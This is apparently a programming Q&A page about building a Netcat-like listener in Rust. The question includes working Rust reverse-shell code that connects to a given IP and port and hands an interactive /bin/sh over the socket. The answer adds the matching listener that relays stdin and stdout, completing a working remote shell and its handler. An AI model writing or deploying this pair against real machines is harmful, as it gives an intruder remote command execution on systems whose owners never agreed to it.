2

OpenBSD's Netcat implementation listens on a port with unix_bind()... basically the same behavior as Rust's TcpListener::bind(). Where I got lost in writing my listen function (emulating nc -l -p <port>) is how to interact with reverse shells.

As seemingly trivial as it sounds, I want listen to give me the sh-3.2$ prompt like nc -l -p <port> does. All the Netcat-Rust implementations I dug up online don't allow me to interact with reverse shells like that.

Reverse shell code (Machine 1): (adapted from this question I asked years ago)

fn reverse_shell(ip: &str, port: &str) {
    let s = TcpStream::connect((ip, port)).unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn().unwrap().wait().unwrap();
}

Listening code (Machine 2):

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   // How do I interact with the shell now??
}

There's a certain simplicity and elegance to Rust code that helps me understand succinctly what's going on, which is why I don't want to just copy the C code from Netcat.

4

1 回答 1

1

基本上,我们希望有两个双向重定向 - 一个从stdinstream,另一个从streamstdout

我们可以使用pipe_thread下面的通用函数来实现这一点,它为此创建了一个专用的操作系统线程(可以更有效地完成,但我们想要简单)。在listen中,我们像这样生成两个线程,并等待它们终止。

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where R: std::io::Read + Send + 'static,
      W: std::io::Write + Send + 'static
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                break;
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   let t1 = pipe_thread(std::io::stdin(), stream.try_clone().unwrap());
   let t2 = pipe_thread(stream, std::io::stdout());
   t1.join();
   t2.join();
}

于 2020-04-22T14:58:00.790 回答